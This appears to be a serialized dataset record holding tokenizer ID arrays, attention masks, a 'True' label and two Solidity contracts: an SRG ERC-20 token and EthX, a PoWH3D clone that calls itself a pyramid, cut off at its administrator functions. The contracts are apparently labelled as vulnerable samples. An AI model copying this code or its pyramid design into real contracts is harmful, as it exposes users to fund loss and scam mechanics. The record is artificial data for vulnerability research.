1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.23;
/*
* Creator: SRG (SreeGold Token)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* SreeGold token smart contract.
*/
contract SRGToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 300000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function SRGToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "SreeGold";
string constant public symbol = "SRG";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2603,
1025,
1013,
1008,
1008,
8543,
1024,
5034,
2290,
1006,
5034,
4402,
21270,
19204,
1007,
1008,
1013,
1013,
1008,
1008,
10061,
19204,
6047,
3206,
1008,
1008,
1013,
1013,
1008,
1008,
3647,
8785,
6047,
3206,
1012,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
22116,
1011,
5024,
3012,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1008,
1013,
3206,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
3647,
4305,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1004,
1001,
4464,
1025,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
9413,
2278,
1011,
2322,
3115,
19204,
8278,
1010,
2004,
4225,
1008,
1026,
1037,
17850,
12879,
1027,
1000,
8299,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1000,
1028,
2182,
1026,
1013,
1037,
1028,
1012,
1008,
1013,
3206,
19204,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.20;
/*
JUST >> ETHX.com <<
Biggest pyramid out yet. Biggest project of this type. Biggest comunity.
*/
contract EthX {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "PowH3D";
string public symbol = "P3D";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
address owner=msg.sender;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = false;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function EthX()
public
{
// add administrators here
administrators[0xdd8bb99b13fe33e1c32254dfb8fff3e71193f6b730a89dd33bfe5dedc6d83002] = true;
// add the ambassadors here.
// mantso - lead solidity dev & lead web dev.
ambassadors_[0x86e55926cab2f7833329ad67f9ddd1c90276ba9d] = true;
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* Remember, there's a 10% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
